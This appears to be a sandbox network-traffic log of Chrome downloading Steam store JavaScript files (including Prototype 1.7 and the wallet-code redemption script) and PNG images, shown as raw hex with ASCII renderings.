2024-10-07 06:47:06 UTC	15985	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 74 45 6c 65 6d 53 4e 52 28 20 24 45 6c 65 6d 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 73 6e 72 20 3d 20 24 45 6c 65 6d 2e 64 61 74 61 28 20 27 73 6e 72 27 20 29 3b 0d 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 73 6e 72 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 73 6e 72 3b 0d 0a 09 7d 0d 0a 0d 0a 09 2f 2f 20 6c 6f 6f 6b 20 66 6f 72 20 6c 69 6e 6b 73 20 77 69 74 68 20 73 6e 72 20 70 61 72 61 6d 65 74 65 72 0d 0a 09 76 61 72 20 6c 69 6e 6b 73 20 3d 20 24 45 6c 65 6d 2e 69 73 28 20 27 61 27 20 29 20 3f 20 24 45 6c 65 6d 20 3a 20 24 45 6c 65 6d 2e 66 69 6e 64 28 20 27 61 27 20 29 3b 0d 0a 09 73 6e 72 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 66 6f 72 20 Data Ascii: 0000C000function GetElemSNR( $Elem ){var snr = $Elem.data( 'snr' );if ( typeof snr != 'undefined' ){return snr;}// look for links with snr parametervar links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );snr = null;for
2024-10-07 06:47:06 UTC	15839	IN	Data Raw: 6c 75 73 74 65 72 2e 65 6c 53 63 72 6f 6c 6c 41 72 65 61 20 29 3b 0d 0a 09 09 76 61 72 20 63 61 70 73 75 6c 65 73 20 3d 20 24 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 61 69 6e 65 72 2e 66 69 6e 64 28 20 27 2e 63 6c 75 73 74 65 72 5f 63 61 70 73 75 6c 65 27 20 29 3b 0d 0a 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 49 6d 70 72 65 73 73 69 6f 6e 54 72 61 63 6b 65 72 2e 54 72 61 63 6b 41 70 70 65 61 72 61 6e 63 65 49 66 56 69 73 69 62 6c 65 28 20 63 61 70 73 75 6c 65 73 5b 63 6c 75 73 74 65 72 2e 6e 43 75 72 43 61 70 5d 20 29 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 48 61 6e 64 6c 65 43 61 72 6f 75 73 65 6c 43 68 61 6e 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 74 61 72 67 65 74 69 64 2c 20 63 75 72 50 6f 73 2c 20 70 61 67 65 53 69 7a 65 20 29 20 7b 0d 0a 09 Data Ascii: luster.elScrollArea );var capsules = $ScrollingContainer.find( '.cluster_capsule' );GDynamicStore.s_ImpressionTracker.TrackAppearanceIfVisible( capsules[cluster.nCurCap] );},HandleCarouselChange: function( targetid, curPos, pageSize ) {
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 62 50 61 63 6b 61 67 65 44 69 73 63 6f 75 6e 74 65 64 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 63 55 73 65 72 49 74 65 6d 73 49 6e 42 75 6e 64 6c 65 2b 2b 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 50 61 63 6b 61 67 65 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 42 61 73 65 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 20 2b 3d 20 42 75 6e 64 6c 65 49 74 65 6d 2e 6d 5f 6e 46 69 6e 61 6c 50 72 69 63 65 49 6e 43 65 6e 74 73 3b 0d 0a 09 09 09 09 42 75 6e 64 6c 65 46 6f 72 55 73 65 72 2e 6d 5f 6e Data Ascii: BundleItem.m_bPackageDiscounted;BundleForUser.m_cUserItemsInBundle++;BundleForUser.m_nPackageBasePriceInCents += BundleItem.m_nBasePriceInCents;BundleForUser.m_nFinalPriceInCents += BundleItem.m_nFinalPriceInCents;BundleForUser.m_n
2024-10-07 06:47:06 UTC	956	IN	Data Raw: 74 6f 72 65 49 74 65 6d 44 61 74 61 28 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 41 70 70 44 61 74 61 5b 61 70 70 69 64 5d 2c 20 72 67 41 70 70 73 5b 61 70 70 69 64 5d 20 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 69 66 20 28 20 72 67 50 61 63 6b 61 67 65 73 20 26 26 20 74 79 70 65 6f 66 20 72 67 50 61 63 6b 61 67 65 73 2e 6c 65 6e 67 74 68 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 66 6f 72 28 20 76 61 72 20 70 61 63 6b 61 67 65 69 64 20 69 6e 20 72 67 50 61 63 6b 61 67 65 73 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 69 66 20 28 20 21 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 50 61 63 6b 61 67 65 44 61 74 61 5b 70 61 63 6b 61 67 65 69 64 5d 20 29 0d 0a 09 09 09 09 09 47 53 74 6f 72 Data Ascii: toreItemData( GStoreItemData.rgAppData[appid], rgApps[appid] );}}if ( rgPackages && typeof rgPackages.length == 'undefined' ){for( var packageid in rgPackages ){if ( !GStoreItemData.rgPackageData[packageid] )GStor
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 37 41 37 34 0d 0a 65 49 44 20 3d 20 24 65 6c 2e 64 61 74 61 28 27 64 73 2d 62 75 6e 64 6c 65 69 64 27 20 29 3b 0d 0a 0d 0a 09 09 69 66 20 28 20 75 6e 42 75 6e 64 6c 65 49 44 20 26 26 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 29 0d 0a 09 09 09 72 65 74 75 72 6e 20 7b 20 62 75 6e 64 6c 65 69 64 3a 20 75 6e 42 75 6e 64 6c 65 49 44 2c 20 69 74 65 6d 3a 20 47 53 74 6f 72 65 49 74 65 6d 44 61 74 61 2e 72 67 42 75 6e 64 6c 65 44 61 74 61 5b 75 6e 42 75 6e 64 6c 65 49 44 5d 20 7d 3b 0d 0a 0d 0a 09 09 69 66 28 20 75 6e 50 61 63 6b 61 67 65 49 44 20 26 26 20 75 6e 50 61 63 6b 61 67 65 49 44 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 2c 27 29 20 21 3d 3d Data Ascii: 00007A74eID = $el.data('ds-bundleid' );if ( unBundleID && GStoreItemData.rgBundleData[unBundleID] )return { bundleid: unBundleID, item: GStoreItemData.rgBundleData[unBundleID] };if( unPackageID && unPackageID.toString().indexOf(',') !==
2024-10-07 06:47:06 UTC	14976	IN	Data Raw: 63 6c 75 64 65 64 5f 74 61 67 73 20 26 26 20 53 65 74 74 69 6e 67 73 2e 65 78 70 6c 69 63 69 74 6c 79 5f 65 78 63 6c 75 64 65 64 5f 74 61 67 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 26 26 20 72 67 41 70 70 44 61 74 61 2e 74 61 67 69 64 73 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 66 6f 72 20 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 41 70 70 44 61 74 61 2e 74 61 67 69 64 73 2e 6c 65 6e 67 74 68 3b 20 2b 2b 69 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 76 61 72 20 74 61 67 69 64 20 3d 20 72 67 41 70 70 44 61 74 61 2e 74 61 67 69 64 73 5b 69 5d 3b 0d 0a 09 09 09 09 69 66 20 28 20 53 65 74 74 69 6e 67 73 2e 65 78 70 6c 69 63 69 74 6c 79 5f 65 78 63 6c 75 64 65 64 5f 74 61 67 73 2e 69 6e 63 6c 75 64 65 73 28 20 74 61 67 69 64 20 29 20 29 0d 0a 09 09 09 Data Ascii: cluded_tags && Settings.explicitly_excluded_tags.length > 0 && rgAppData.tagids ){for ( var i = 0; i < rgAppData.tagids.length; ++i ){var tagid = rgAppData.tagids[i];if ( Settings.explicitly_excluded_tags.includes( tagid ) )
2024-10-07 06:47:06 UTC	10941	IN	Data Raw: 30 30 30 30 32 41 42 31 0d 0a 20 3c 20 72 67 43 61 70 73 75 6c 65 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 76 61 72 20 24 63 61 70 73 75 6c 65 20 3d 20 24 4a 28 20 72 67 43 61 70 73 75 6c 65 73 5b 69 5d 20 29 3b 0d 0a 09 09 09 76 61 72 20 69 74 65 6d 69 64 20 3d 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 50 61 67 65 2e 49 74 65 6d 49 44 46 72 6f 6d 43 61 70 73 75 6c 65 28 20 24 63 61 70 73 75 6c 65 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 21 69 74 65 6d 69 64 20 7c 7c 20 28 20 69 74 65 6d 69 64 2e 61 70 70 69 64 20 26 26 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 42 49 73 53 61 6c 65 50 61 67 65 41 70 70 49 44 28 20 69 74 65 6d 69 64 2e 61 70 70 69 64 20 29 20 29 20 29 0d 0a 09 09 09 7b 0d 0a 09 09 09 09 2f 2f 20 69 Data Ascii: 00002AB1 < rgCapsules.length; i++ ){var $capsule = $J( rgCapsules[i] );var itemid = GDynamicStorePage.ItemIDFromCapsule( $capsule );if ( !itemid \|\| ( itemid.appid && GDynamicStore.BIsSalePageAppID( itemid.appid ) ) ){// i
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49831	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	414	OUT	GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	352	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "XsgODqUOlVw9" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=15032000 Expires: Sun, 30 Mar 2025 06:20:26 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Length: 14447 Connection: close
2024-10-07 06:47:06 UTC	14447	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 72 65 63 61 70 74 63 68 61 49 6e 73 74 61 6e 63 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 69 73 70 6c 61 79 50 61 67 65 28 20 70 61 67 65 20 29 0d 0a 7b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 09 0d 0a 0d 0a 09 09 73 77 69 74 63 68 20 28 20 70 61 67 65 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 63 61 73 65 20 27 63 6f 64 65 27 3a 0d 0a 09 09 09 09 24 28 27 77 61 6c 6c 65 74 5f 63 6f 64 65 5f 66 6f 72 6d 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 27 3b 0d 0a 09 09 09 09 24 28 27 72 65 64 Data Ascii: var g_recaptchaInstance = null;function DisplayPage( page ){$('error_display').innerHTML = '';$('error_display').style.display = 'none';switch ( page ){case 'code':$('wallet_code_form').style.display = '';$('red

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49833	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	402	OUT	GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".a38iP7Khdmyy" Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=9182549 Expires: Tue, 21 Jan 2025 13:29:35 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:06 UTC	15995	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2f 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 4a 61 76 61 53 63 72 69 70 74 20 66 72 61 6d 65 77 6f 72 6b 2c 20 76 65 72 73 69 6f 6e 20 31 2e 37 0d 0a 20 2a 20 20 28 63 29 20 32 30 30 35 2d 32 30 31 30 20 53 61 6d 20 53 74 65 70 68 65 6e 73 6f 6e 0d 0a 20 2a 0d 0a 20 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 69 73 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 75 6e 64 65 72 20 74 68 65 20 74 65 72 6d 73 20 6f 66 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 20 46 6f 72 20 64 65 74 61 69 6c 73 2c 20 73 65 65 20 74 68 65 20 50 72 6f 74 6f 74 79 70 65 20 77 65 62 20 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 6f 74 79 70 65 6a 73 2e 6f 72 67 2f 0d 0a 20 2a Data Ascii: 0000C000/* Prototype JavaScript framework, version 1.7 * (c) 2005-2010 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://www.prototypejs.org/ *
2024-10-07 06:47:06 UTC	15833	IN	Data Raw: 2f 3c 5c 77 2b 28 5c 73 2b 28 22 5b 5e 22 5d 2a 22 7c 27 5b 5e 27 5d 2a 27 7c 5b 5e 3e 5d 29 2b 29 3f 3e 7c 3c 5c 2f 5c 77 2b 3e 2f 67 69 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 74 72 69 70 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 6e 74 2c 20 27 69 6d 67 27 29 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 72 61 63 74 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 61 74 63 68 41 6c 6c 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 Data Ascii: /<\w+(\s+("[^"]"\|'[^']'\|[^>])+)?>\|<\/\w+>/gi, ''); } function stripScripts() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); } function extractScripts() { var matchAll = new RegExp(Prototype.ScriptFragme
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 61 72 72 61 79 50 72 6f 74 6f 2c 20 7b 0d 0a 20 20 20 20 5f 65 61 63 68 3a 20 20 20 20 20 5f 65 61 63 68 2c 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 20 20 20 20 63 6c 65 61 72 2c 0d 0a 20 20 20 20 66 69 72 73 74 3a 20 20 20 20 20 66 69 72 73 74 2c 0d 0a 20 20 20 20 6c 61 73 74 3a 20 20 20 20 20 20 6c 61 73 74 2c 0d 0a 20 20 20 20 63 6f 6d 70 61 63 74 3a 20 20 20 63 6f 6d 70 61 63 74 2c 0d 0a 20 20 20 20 66 6c 61 74 74 65 6e 3a 20 20 20 66 6c 61 74 74 65 6e 2c 0d 0a 20 20 20 20 77 69 74 68 6f 75 74 3a 20 20 20 77 69 74 68 6f 75 74 2c 0d 0a 20 20 20 20 72 65 76 65 72 73 65 3a 20 20 20 72 65 76 65 72 73 65 2c 0d 0a 20 20 20 20 75 6e 69 71 3a 20 20 20 20 20 20 75 6e 69 71 2c 0d 0a 20 20 20 20 69 6e 74 65 72 73 65 63 74 3a 20 69 6e 74 65 72 73 65 63 74 2c 0d 0a Data Ascii: arrayProto, { _each: _each, clear: clear, first: first, last: last, compact: compact, flatten: flatten, without: without, reverse: reverse, uniq: uniq, intersect: intersect,
2024-10-07 06:47:06 UTC	952	IN	Data Raw: 6f 6d 70 6c 65 74 65 20 3d 20 75 6e 64 65 66 69 6e 65 64 3b 0d 0a 20 20 20 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 74 69 6d 65 72 29 3b 0d 0a 20 20 20 20 28 74 68 69 73 2e 6f 6e 43 6f 6d 70 6c 65 74 65 20 7c 7c 20 50 72 6f 74 6f 74 79 70 65 2e 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 75 70 64 61 74 65 43 6f 6d 70 6c 65 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 65 63 61 79 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 64 65 63 61 79 20 3d 20 28 72 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 20 3d 3d 20 74 68 69 73 Data Ascii: omplete = undefined; clearTimeout(this.timer); (this.onComplete \|\| Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(response) { if (this.options.decay) { this.decay = (response.responseText == this
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 6d 65 6e 74 2e 5f 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 58 50 61 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 72 65 73 75 6c 74 73 20 3d 20 5b 5d 3b 0d 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 65 76 61 6c 75 61 74 65 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 24 28 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2c 0d 0a 20 20 20 20 20 20 6e 75 6c 6c 2c 20 58 50 61 74 68 52 65 73 75 6c 74 2e 4f 52 44 45 52 45 44 5f 4e 4f 44 45 5f 53 4e 41 50 53 48 4f 54 5f 54 59 50 45 2c 20 6e 75 6c 6c 29 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 Data Ascii: 00004000ument._getElementsByXPath = function(expression, parentElement) { var results = []; var query = document.evaluate(expression, $(parentElement) \|\| document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = 0
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 74 28 65 6c 65 6d 65 6e 74 29 0d 0a Data Ascii: t(element)
2024-10-07 06:47:06 UTC	3235	IN	Data Raw: 30 30 30 30 30 43 39 37 0d 0a 3b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 70 6f 73 5b 30 5d 2c 20 70 6f 73 5b 31 5d 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 67 65 74 53 74 79 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 73 74 79 6c 65 29 20 7b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 24 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 73 74 79 6c 65 20 3d 20 73 74 79 6c 65 20 3d 3d 20 27 66 6c 6f 61 74 27 20 3f 20 27 63 73 73 46 6c 6f 61 74 27 20 3a 20 73 74 79 6c 65 2e 63 61 6d 65 6c 69 7a 65 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 73 74 79 6c 65 5d 3b 0d 0a 20 20 20 20 69 66 Data Ascii: 00000C97; window.scrollTo(pos[0], pos[1]); return element; }, getStyle: function(element, style) { element = $(element); style = style == 'float' ? 'cssFloat' : style.camelize(); var value = element.style[style]; if
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 45 6c 65 6d 65 6e 74 2e 67 65 74 4f 66 66 73 65 74 50 61 72 65 6e 74 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 20 3d 20 45 6c 65 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 4f 66 66 73 65 74 28 70 61 72 65 6e 74 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 70 61 72 65 6e 74 20 3d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 20 7b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 30 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 4c 65 66 74 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 31 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 54 6f 70 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 6f 70 74 69 6f 6e 73 2e 73 65 74 4c Data Ascii: 00004000Element.getOffsetParent(element); delta = Element.viewportOffset(parent); } if (parent == document.body) { delta[0] -= document.body.offsetLeft; delta[1] -= document.body.offsetTop; } if (options.setL
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 20 63 6f 70 79 28 6d 65 74 68 0d 0a Data Ascii: copy(meth
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 64 73 2c 20 64 65 73 74 69 6e 61 74 69 6f 6e 2c 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 29 20 7b 0d 0a 20 20 20 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 3d 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 70 72 6f 70 65 72 74 79 20 69 6e 20 6d 65 74 68 6f 64 73 29 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 6d 65 74 68 6f 64 73 5b 70 72 6f 70 65 72 74 79 5d 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 4f 62 6a 65 63 74 2e 69 73 46 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 29 20 63 6f 6e 74 69 6e 75 65 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 21 28 70 72 6f 70 65 72 74 79 20 69 6e 20 64 65 73 Data Ascii: 00004000ods, destination, onlyIfAbsent) { onlyIfAbsent = onlyIfAbsent \|\| false; for (var property in methods) { var value = methods[property]; if (!Object.isFunction(value)) continue; if (!onlyIfAbsent \|\| !(property in des

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49834	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	605	OUT	GET /public/shared/images/responsive/logo_valve_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1846 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-736" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:06 GMT Connection: close
2024-10-07 06:47:06 UTC	1846	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 1a 08 06 00 00 00 3a ee 3b 29 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 10 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR\:;)tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49835	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	609	OUT	GET /public/shared/images/responsive/header_menu_hamburger.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3777 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-ec1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:06 GMT Connection: close
